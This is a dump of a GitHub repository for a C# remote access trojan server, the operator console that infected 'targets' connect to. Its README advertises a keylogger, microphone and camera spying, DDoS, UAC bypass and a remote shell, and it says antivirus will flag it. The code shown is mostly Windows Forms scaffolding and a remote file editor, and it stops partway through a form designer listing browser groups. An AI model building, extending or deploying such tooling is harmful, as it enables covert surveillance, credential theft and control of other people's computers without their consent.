├── .gitattributes
├── .gitignore
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── TutServer.sln
├── TutServer.v12.suo.doc
└── TutServer
├── App.config
├── Edit.Designer.cs
├── Edit.cs
├── Edit.resx
├── Form1.Designer.cs
├── Form1.cs
├── Form1.resx
├── Program.cs
├── Properties
├── AssemblyInfo.cs
├── Resources.Designer.cs
├── Resources.resx
├── Settings.Designer.cs
└── Settings.settings
├── RDesktop.Designer.cs
├── RDesktop.cs
├── RDesktop.resx
├── TutServer.csproj
├── app.manifest
├── bin
└── Debug
│ ├── NAudio.WindowsMediaFormat.dll
│ ├── NAudio.dll
│ ├── NAudio.xml
│ ├── sCore.dll
│ └── scripts
│ └── ServerPlugin.dll
├── remotePipe.Designer.cs
├── remotePipe.cs
└── remotePipe.resx
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 |
4 | # User-specific files
5 | *.suo
6 | *.user
7 | *.userosscache
8 | *.sln.docstates
9 |
10 | # User-specific files (MonoDevelop/Xamarin Studio)
11 | *.userprefs
12 |
13 | # Build results
14 | [Dd]ebugPublic/
15 | [Rr]elease/
16 | [Rr]eleases/
17 | x64/
18 | x86/
19 | bld/
20 | [Oo]bj/
21 | [Ll]og/
22 |
23 | # Visual Studio 2015 cache/options directory
24 | .vs/
25 | # Uncomment if you have tasks that create the project's static files in wwwroot
26 | #wwwroot/
27 |
28 | # MSTest test Results
29 | [Tt]est[Rr]esult*/
30 | [Bb]uild[Ll]og.*
31 |
32 | # NUNIT
33 | *.VisualState.xml
34 | TestResult.xml
35 |
36 | # Build Results of an ATL Project
37 | [Dd]ebugPS/
38 | [Rr]eleasePS/
39 | dlldata.c
40 |
41 | # DNX
42 | project.lock.json
43 | project.fragment.lock.json
44 | artifacts/
45 |
46 | *_i.c
47 | *_p.c
48 | *_i.h
49 | *.ilk
50 | *.meta
51 | *.obj
52 | *.pch
53 | *.pdb
54 | *.pgc
55 | *.pgd
56 | *.rsp
57 | *.sbr
58 | *.tlb
59 | *.tli
60 | *.tlh
61 | *.tmp
62 | *.tmp_proj
63 | *.log
64 | *.vspscc
65 | *.vssscc
66 | .builds
67 | *.pidb
68 | *.svclog
69 | *.scc
70 |
71 | # Chutzpah Test files
72 | _Chutzpah*
73 |
74 | # Visual C++ cache files
75 | ipch/
76 | *.aps
77 | *.ncb
78 | *.opendb
79 | *.opensdf
80 | *.sdf
81 | *.cachefile
82 | *.VC.db
83 | *.VC.VC.opendb
84 |
85 | # Visual Studio profiler
86 | *.psess
87 | *.vsp
88 | *.vspx
89 | *.sap
90 |
91 | # TFS 2012 Local Workspace
92 | $tf/
93 |
94 | # Guidance Automation Toolkit
95 | *.gpState
96 |
97 | # ReSharper is a .NET coding add-in
98 | _ReSharper*/
99 | *.[Rr]e[Ss]harper
100 | *.DotSettings.user
101 |
102 | # JustCode is a .NET coding add-in
103 | .JustCode
104 |
105 | # TeamCity is a build add-in
106 | _TeamCity*
107 |
108 | # DotCover is a Code Coverage Tool
109 | *.dotCover
110 |
111 | # NCrunch
112 | _NCrunch_*
113 | .*crunch*.local.xml
114 | nCrunchTemp_*
115 |
116 | # MightyMoose
117 | *.mm.*
118 | AutoTest.Net/
119 |
120 | # Web workbench (sass)
121 | .sass-cache/
122 |
123 | # Installshield output folder
124 | [Ee]xpress/
125 |
126 | # DocProject is a documentation generator add-in
127 | DocProject/buildhelp/
128 | DocProject/Help/*.HxT
129 | DocProject/Help/*.HxC
130 | DocProject/Help/*.hhc
131 | DocProject/Help/*.hhk
132 | DocProject/Help/*.hhp
133 | DocProject/Help/Html2
134 | DocProject/Help/html
135 |
136 | # Click-Once directory
137 | publish/
138 |
139 | # Publish Web Output
140 | *.[Pp]ublish.xml
141 | *.azurePubxml
142 | # TODO: Comment the next line if you want to checkin your web deploy settings
143 | # but database connection strings (with potential passwords) will be unencrypted
144 | #*.pubxml
145 | *.publishproj
146 |
147 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
148 | # checkin your Azure Web App publish settings, but sensitive information contained
149 | # in these scripts will be unencrypted
150 | PublishScripts/
151 |
152 | # NuGet Packages
153 | *.nupkg
154 | # The packages folder can be ignored because of Package Restore
155 | **/packages/*
156 | # except build/, which is used as an MSBuild target.
157 | !**/packages/build/
158 | # Uncomment if necessary however generally it will be regenerated when needed
159 | #!**/packages/repositories.config
160 | # NuGet v3's project.json files produces more ignoreable files
161 | *.nuget.props
162 | *.nuget.targets
163 |
164 | # Microsoft Azure Build Output
165 | csx/
166 | *.build.csdef
167 |
168 | # Microsoft Azure Emulator
169 | ecf/
170 | rcf/
171 |
172 | # Windows Store app package directories and files
173 | AppPackages/
174 | BundleArtifacts/
175 | Package.StoreAssociation.xml
176 | _pkginfo.txt
177 |
178 | # Visual Studio cache files
179 | # files ending in .cache can be ignored
180 | *.[Cc]ache
181 | # but keep track of directories ending in .cache
182 | !*.[Cc]ache/
183 |
184 | # Others
185 | ClientBin/
186 | ~$*
187 | *~
188 | *.dbmdl
189 | *.dbproj.schemaview
190 | *.jfm
191 | *.pfx
192 | *.publishsettings
193 | node_modules/
194 | orleans.codegen.cs
195 |
196 | # Since there are multiple workflows, uncomment next line to ignore bower_components
197 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
198 | #bower_components/
199 |
200 | # RIA/Silverlight projects
201 | Generated_Code/
202 |
203 | # Backup & report files from converting an old project file
204 | # to a newer Visual Studio version. Backup files are not needed,
205 | # because we have git ;-)
206 | _UpgradeReport_Files/
207 | Backup*/
208 | UpgradeLog*.XML
209 | UpgradeLog*.htm
210 |
211 | # SQL Server files
212 | *.mdf
213 | *.ldf
214 |
215 | # Business Intelligence projects
216 | *.rdl.data
217 | *.bim.layout
218 | *.bim_*.settings
219 |
220 | # Microsoft Fakes
221 | FakesAssemblies/
222 |
223 | # GhostDoc plugin setting file
224 | *.GhostDoc.xml
225 |
226 | # Node.js Tools for Visual Studio
227 | .ntvs_analysis.dat
228 |
229 | # Visual Studio 6 build log
230 | *.plg
231 |
232 | # Visual Studio 6 workspace options file
233 | *.opt
234 |
235 | # Visual Studio LightSwitch build output
236 | **/*.HTMLClient/GeneratedArtifacts
237 | **/*.DesktopClient/GeneratedArtifacts
238 | **/*.DesktopClient/ModelManifest.xml
239 | **/*.Server/GeneratedArtifacts
240 | **/*.Server/ModelManifest.xml
241 | _Pvt_Extensions
242 |
243 | # Paket dependency manager
244 | .paket/paket.exe
245 | paket-files/
246 |
247 | # FAKE - F# Make
248 | .fake/
249 |
250 | # JetBrains Rider
251 | .idea/
252 | *.sln.iml
253 |
254 | # CodeRush
255 | .cr/
256 |
257 | # Python Tools for Visual Studio (PTVS)
258 | __pycache__/
259 | *.pyc
260 | /TutServer/bin/Debug/TutServer.vshost.exe.manifest
261 | /TutServer/bin/Debug/TutServer.vshost.exe.config
262 | /TutServer/bin/Debug/TutServer.vshost.exe
263 | /TutServer/bin/Debug/TutServer.exe.config
264 | /TutServer/bin/Debug/TutServer.exe
265 | /TutServer/bin/Debug/scripts/WebPlugin.dll
266 | /TutServer/bin/Debug/scripts/AndroidExtension.dll
267 |
--------------------------------------------------------------------------------
/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # Contributor Covenant Code of Conduct
2 |
3 | ## Our Pledge
4 |
5 | In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
6 |
7 | ## Our Standards
8 |
9 | Examples of behavior that contributes to creating a positive environment include:
10 |
11 | * Using welcoming and inclusive language
12 | * Being respectful of differing viewpoints and experiences
13 | * Gracefully accepting constructive criticism
14 | * Focusing on what is best for the community
15 | * Showing empathy towards other community members
16 |
17 | Examples of unacceptable behavior by participants include:
18 |
19 | * The use of sexualized language or imagery and unwelcome sexual attention or advances
20 | * Trolling, insulting/derogatory comments, and personal or political attacks
21 | * Public or private harassment
22 | * Publishing others' private information, such as a physical or electronic address, without explicit permission
23 | * Other conduct which could reasonably be considered inappropriate in a professional setting
24 |
25 | ## Our Responsibilities
26 |
27 | Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
28 |
29 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
30 |
31 | ## Scope
32 |
33 | This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
34 |
35 | ## Enforcement
36 |
37 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at ghost@mcghost.ddns.net. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
38 |
39 | Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
40 |
41 | ## Attribution
42 |
43 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
44 |
45 | [homepage]: http://contributor-covenant.org
46 | [version]: http://contributor-covenant.org/version/1/4/
47 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contribution
2 | **Thank you for considering contribution to the C\# R.A.T Server Project!**
3 | ## How to contribute?
4 | It's very simple!
5 | 1. Fork the project
6 | 2. Make the changes
7 | 3. Issue a pull request
8 | 4. I will do a merge after verifying (in some cases changing) the code
9 | ## How to report bugs?
10 | You can simply use the *Issues* section on github
11 | Just write an issue, and i will try to respond within 24 hours!
12 | ## How to contribute? (without writing code)
13 | You can also do this on the *Issues* section, and i will label it as *enhancement*
14 | This way you can suggest new features, or change an older one without coding.
15 | I will try to respond within 24 hours!
16 | ## How to run / compile
17 | I use Visual Studio 2017 Community Edition.
18 | The program is written in c\# and built with .NET Framework 4.5
19 | Any additional requirements can be found under TutServer/bin/debug
20 | ## How to ask questions?
21 | You can also use the *Issues* section on GitHub, i will assign a label to it, so it's different from bugs.
22 | I will try to respond within 24 hours!
23 | You can also contact me at my [Youtube Channel](https://www.youtube.com/channel/UCYIOySp8zTTWJG5-n8wpZ2g)
24 | Either a comment on the video about the topic, or a message at the *Discussion* section on my channel page
25 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Advanced Hacking 101 Project Licence
2 | short and simple
3 | You are free to do anything with this project, as long as you credit me and the project
4 | Links to the project are enough
5 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # C\# R.A.T Server
2 | This is the server program of the c# R.A.T.
3 | You will need to run this program on your computer, and not on the target's machine.
4 | The targets will connect to you with the help of this program.
5 | **This is not a virus but serval AV will flag it as it's a virus.**
6 | You need to build your own binary from this source code, so no trust issues.
7 | The executable is NOT published on this site, if you want the .exe you have to build the project using Visual Studio.
8 | The .dll files are published, because the project will not start without them.
9 | You need to select allow if the firewall prompt window come's up or the program can't open the TCP Server.
10 |
11 | ## Contains the basic features like:
12 | - Remote Desktop
13 | - Keylogger
14 | - Mic and Cam spy
15 | - DDoS
16 | - Fun menu
17 | - Remote cmd prompt
18 | - Process manager
19 | - File manager
20 | - Plugin Support
21 | - UAC Bypass
22 | - Probing Methods
23 |
24 | This software is **open source**, you can use the code, or pieces of it in your own project.
25 | Or you can just use my project and change the needed values.
26 | You can check out the client [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client)
27 | ## More Information
28 | You can view the project licence [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/LICENSE)
29 | You can read the code of conduct [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/CODE_OF_CONDUCT.md)
30 | You can read how to contribute [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/CONTRIBUTING.md)
31 |
32 | *Happy Coding!*
33 |
34 | **\-Advanced Hacking 101**
35 |
--------------------------------------------------------------------------------
/TutServer.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2013
4 | VisualStudioVersion = 12.0.21005.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TutServer", "TutServer\TutServer.csproj", "{E66E3E96-3B7A-4784-84CF-E6AF40006F91}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/TutServer.v12.suo.doc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Server/776f827268b45825b19f6a8a1f3a27263f25ac98/TutServer.v12.suo.doc
--------------------------------------------------------------------------------
/TutServer/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/TutServer/Edit.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace TutServer
2 | {
3 | partial class Edit
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.richTextBox1 = new System.Windows.Forms.RichTextBox();
32 | this.button1 = new System.Windows.Forms.Button();
33 | this.button2 = new System.Windows.Forms.Button();
34 | this.button3 = new System.Windows.Forms.Button();
35 | this.button4 = new System.Windows.Forms.Button();
36 | this.button5 = new System.Windows.Forms.Button();
37 | this.button6 = new System.Windows.Forms.Button();
38 | this.button7 = new System.Windows.Forms.Button();
39 | this.checkBox1 = new System.Windows.Forms.CheckBox();
40 | this.SuspendLayout();
41 | //
42 | // richTextBox1
43 | //
44 | this.richTextBox1.Location = new System.Drawing.Point(12, 12);
45 | this.richTextBox1.Name = "richTextBox1";
46 | this.richTextBox1.Size = new System.Drawing.Size(660, 418);
47 | this.richTextBox1.TabIndex = 0;
48 | this.richTextBox1.Text = "";
49 | //
50 | // button1
51 | //
52 | this.button1.Location = new System.Drawing.Point(597, 436);
53 | this.button1.Name = "button1";
54 | this.button1.Size = new System.Drawing.Size(75, 23);
55 | this.button1.TabIndex = 1;
56 | this.button1.Text = "Save";
57 | this.button1.UseVisualStyleBackColor = true;
58 | this.button1.Click += new System.EventHandler(this.button1_Click);
59 | //
60 | // button2
61 | //
62 | this.button2.Location = new System.Drawing.Point(516, 436);
63 | this.button2.Name = "button2";
64 | this.button2.Size = new System.Drawing.Size(75, 23);
65 | this.button2.TabIndex = 2;
66 | this.button2.Text = "Cancel";
67 | this.button2.UseVisualStyleBackColor = true;
68 | this.button2.Click += new System.EventHandler(this.button2_Click);
69 | //
70 | // button3
71 | //
72 | this.button3.Location = new System.Drawing.Point(435, 436);
73 | this.button3.Name = "button3";
74 | this.button3.Size = new System.Drawing.Size(75, 23);
75 | this.button3.TabIndex = 3;
76 | this.button3.Text = "Undo";
77 | this.button3.UseVisualStyleBackColor = true;
78 | this.button3.Click += new System.EventHandler(this.button3_Click);
79 | //
80 | // button4
81 | //
82 | this.button4.Location = new System.Drawing.Point(354, 436);
83 | this.button4.Name = "button4";
84 | this.button4.Size = new System.Drawing.Size(75, 23);
85 | this.button4.TabIndex = 4;
86 | this.button4.Text = "Redo";
87 | this.button4.UseVisualStyleBackColor = true;
88 | this.button4.Click += new System.EventHandler(this.button4_Click);
89 | //
90 | // button5
91 | //
92 | this.button5.Location = new System.Drawing.Point(273, 436);
93 | this.button5.Name = "button5";
94 | this.button5.Size = new System.Drawing.Size(75, 23);
95 | this.button5.TabIndex = 5;
96 | this.button5.Text = "Encrypt";
97 | this.button5.UseVisualStyleBackColor = true;
98 | this.button5.Click += new System.EventHandler(this.button5_Click);
99 | //
100 | // button6
101 | //
102 | this.button6.Location = new System.Drawing.Point(192, 436);
103 | this.button6.Name = "button6";
104 | this.button6.Size = new System.Drawing.Size(75, 23);
105 | this.button6.TabIndex = 6;
106 | this.button6.Text = "Decrypt";
107 | this.button6.UseVisualStyleBackColor = true;
108 | this.button6.Click += new System.EventHandler(this.button6_Click);
109 | //
110 | // button7
111 | //
112 | this.button7.Location = new System.Drawing.Point(111, 436);
113 | this.button7.Name = "button7";
114 | this.button7.Size = new System.Drawing.Size(75, 23);
115 | this.button7.TabIndex = 7;
116 | this.button7.Text = "Clear";
117 | this.button7.UseVisualStyleBackColor = true;
118 | this.button7.Click += new System.EventHandler(this.button7_Click);
119 | //
120 | // checkBox1
121 | //
122 | this.checkBox1.AutoSize = true;
123 | this.checkBox1.Location = new System.Drawing.Point(12, 440);
124 | this.checkBox1.Name = "checkBox1";
125 | this.checkBox1.Size = new System.Drawing.Size(70, 17);
126 | this.checkBox1.TabIndex = 8;
127 | this.checkBox1.Text = "Write File";
128 | this.checkBox1.UseVisualStyleBackColor = true;
129 | this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged);
130 | //
131 | // Edit
132 | //
133 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
134 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
135 | this.ClientSize = new System.Drawing.Size(684, 473);
136 | this.Controls.Add(this.checkBox1);
137 | this.Controls.Add(this.button7);
138 | this.Controls.Add(this.button6);
139 | this.Controls.Add(this.button5);
140 | this.Controls.Add(this.button4);
141 | this.Controls.Add(this.button3);
142 | this.Controls.Add(this.button2);
143 | this.Controls.Add(this.button1);
144 | this.Controls.Add(this.richTextBox1);
145 | this.Name = "Edit";
146 | this.Text = "Edit";
147 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Edit_FormClosing);
148 | this.Shown += new System.EventHandler(this.Edit_Shown);
149 | this.ResumeLayout(false);
150 | this.PerformLayout();
151 |
152 | }
153 |
154 | #endregion
155 |
156 | private System.Windows.Forms.RichTextBox richTextBox1;
157 | private System.Windows.Forms.Button button1;
158 | private System.Windows.Forms.Button button2;
159 | private System.Windows.Forms.Button button3;
160 | private System.Windows.Forms.Button button4;
161 | private System.Windows.Forms.Button button5;
162 | private System.Windows.Forms.Button button6;
163 | private System.Windows.Forms.Button button7;
164 | private System.Windows.Forms.CheckBox checkBox1;
165 | }
166 | }
--------------------------------------------------------------------------------
/TutServer/Edit.cs:
--------------------------------------------------------------------------------
1 | using System; //For basic system functions
2 | using System.Collections.Generic; //For list
3 | using System.Drawing; //For form graphics
4 | using System.Windows.Forms; //For form interaction and controls
5 | using sCore.UI; //The plugin core UI
6 |
7 | #pragma warning disable IDE1006
8 |
9 | namespace TutServer //The application namespace
10 | {
11 | ///
12 | /// Class that handles editing of text based files
13 | ///
14 | public partial class Edit : Form
15 | {
16 | #region Global Variables
17 |
18 | ///
19 | /// The conten to edit
20 | ///
21 | private string content;
22 | ///
23 | /// Reference to the main form
24 | ///
25 | private Form1 prt;
26 |
27 | #endregion
28 |
29 | #region Form and Editor
30 |
31 | ///
32 | /// Create a new file editor
33 | ///
34 | /// The file content to edit
35 | /// Reference to the main form
36 | public Edit(String textFile, Form1 parent)
37 | {
38 | content = textFile; //Set the edit content
39 | prt = parent; //Set the main form reference
40 | InitializeComponent(); //Init the controls
41 | }
42 |
43 | ///
44 | /// Editor loaded the controls and the form
45 | ///
46 | /// The sender of the event
47 | /// The event args
48 | private void Edit_Shown(object sender, EventArgs e)
49 | {
50 | richTextBox1.ReadOnly = true; //Set mode to read only
51 | richTextBox1.BackColor = SystemColors.Window; //Set the color to window (not the grayish color you get for read only)
52 | richTextBox1.Text = content; //Set the editor content
53 | CommonControls.editorTextBox = richTextBox1; //Notify the plugins of the file editor
54 | }
55 |
56 | ///
57 | /// Enable/Disable the read only property of the editor
58 | ///
59 | /// The sender of the event
60 | /// The event args
61 | private void checkBox1_CheckedChanged(object sender, EventArgs e)
62 | {
63 | bool isReadOnly = !checkBox1.Checked; //Get the state of read only
64 | richTextBox1.ReadOnly = isReadOnly; //Set the read only state
65 | }
66 |
67 | ///
68 | /// Clear the whole editor text
69 | ///
70 | /// The sender of the event
71 | /// The event args
72 | private void button7_Click(object sender, EventArgs e)
73 | {
74 | richTextBox1.Clear(); //Clear the editor box
75 | }
76 |
77 | ///
78 | /// Decrypt the contents of the file
79 | ///
80 | /// The sender of the event
81 | /// The event args
82 | private void button6_Click(object sender, EventArgs e)
83 | {
84 | try //Try
85 | {
86 | string[] lines = richTextBox1.Lines; //Get the lines of the text
87 | List decrypted = new List(); //Declare a new list for decrypted lines
88 | for (int i = 0; i < lines.Length; i++)//Go through each encrypted line
89 | {
90 | string line = lines[i];
91 | decrypted.Add(prt.Decrypt(line)); //decrypt the line and add it to the list
92 | }
93 | richTextBox1.Lines = decrypted.ToArray(); //Set the decrypted lines as the text
94 | richTextBox1.Refresh(); //Refresh the richTextBox's display
95 | }
96 | catch (Exception ex) //Can't decrypt
97 | {
98 | MessageBox.Show(this, "Error", "Error trying to decrypt content!\n" + ex.Message, MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user
99 | }
100 | }
101 |
102 | ///
103 | /// Encrypt the editor text
104 | ///
105 | /// The sender of the event
106 | /// The event args
107 | private void button5_Click(object sender, EventArgs e)
108 | {
109 | try //Try
110 | {
111 | string[] lines = richTextBox1.Lines; //Get the lines of the text
112 | List encrypted = new List(); //Declare a new list for encrypted lines
113 | for (int i = 0; i < lines.Length; i++)//Go through each plain text line
114 | {
115 | string line = lines[i];
116 | encrypted.Add(prt.Encrypt(line)); //Encrypt the lines and add it to the list
117 | }
118 | richTextBox1.Lines = encrypted.ToArray(); //Set the editor content to the encrypted lines
119 | richTextBox1.Refresh(); //Refresh the editor display
120 | }
121 | catch (Exception ex) //Can't encrypt
122 | {
123 | MessageBox.Show(this, "Error", "Error trying to encrypt content!\n" + ex.Message, MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user
124 | }
125 | }
126 |
127 | ///
128 | /// Redo the last change made to the content
129 | ///
130 | /// The sender of the event
131 | /// The event args
132 | private void button4_Click(object sender, EventArgs e)
133 | {
134 | richTextBox1.Redo(); //Redo a change
135 | }
136 |
137 | ///
138 | /// Undo the last change made to the content
139 | ///
140 | /// The sender of the event
141 | /// The event args
142 | private void button3_Click(object sender, EventArgs e)
143 | {
144 | richTextBox1.Undo(); //Undo the last change
145 | }
146 |
147 | ///
148 | /// Close without saving
149 | ///
150 | /// The sender of the event
151 | /// The event args
152 | private void button2_Click(object sender, EventArgs e)
153 | {
154 | Close(); //Close the form
155 | }
156 |
157 | ///
158 | /// Save the file on remote client
159 | ///
160 | /// The sender of the event
161 | /// The event args
162 | private void button1_Click(object sender, EventArgs e)
163 | {
164 | prt.SaveFile(richTextBox1.Text); //Save the file
165 | }
166 |
167 | ///
168 | /// Form Closing event (not saving the file)
169 | ///
170 | /// The sender of the event
171 | /// The event args
172 | private void Edit_FormClosing(object sender, FormClosingEventArgs e)
173 | {
174 | CommonControls.editorTextBox = null; //Remove the editro reference from the plugins
175 | }
176 |
177 | #endregion
178 | }
179 | }
180 |
--------------------------------------------------------------------------------
/TutServer/Edit.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/TutServer/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace TutServer
2 | {
3 | partial class Form1
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.components = new System.ComponentModel.Container();
32 | System.Windows.Forms.ListViewGroup listViewGroup1 = new System.Windows.Forms.ListViewGroup("Google Chrome", System.Windows.Forms.HorizontalAlignment.Left);
33 | System.Windows.Forms.ListViewGroup listViewGroup2 = new System.Windows.Forms.ListViewGroup("Internet Explorer", System.Windows.Forms.HorizontalAlignment.Left);
34 | System.Windows.Forms.ListViewGroup listViewGroup3 = new System.Windows.Forms.ListViewGroup("Firefox", System.Windows.Forms.HorizontalAlignment.Left);
35 | this.tabControl1 = new System.Windows.Forms.TabControl();
36 | this.tabPage1 = new System.Windows.Forms.TabPage();
37 | this.label24 = new System.Windows.Forms.Label();
38 | this.label2 = new System.Windows.Forms.Label();
39 | this.button2 = new System.Windows.Forms.Button();
40 | this.listView1 = new System.Windows.Forms.ListView();
41 | this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
42 | this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
43 | this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
44 | this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
45 | this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
46 | this.button1 = new System.Windows.Forms.Button();
47 | this.label1 = new System.Windows.Forms.Label();
48 | this.tabPage2 = new System.Windows.Forms.TabPage();
49 | this.button6 = new System.Windows.Forms.Button();
50 | this.label12 = new System.Windows.Forms.Label();
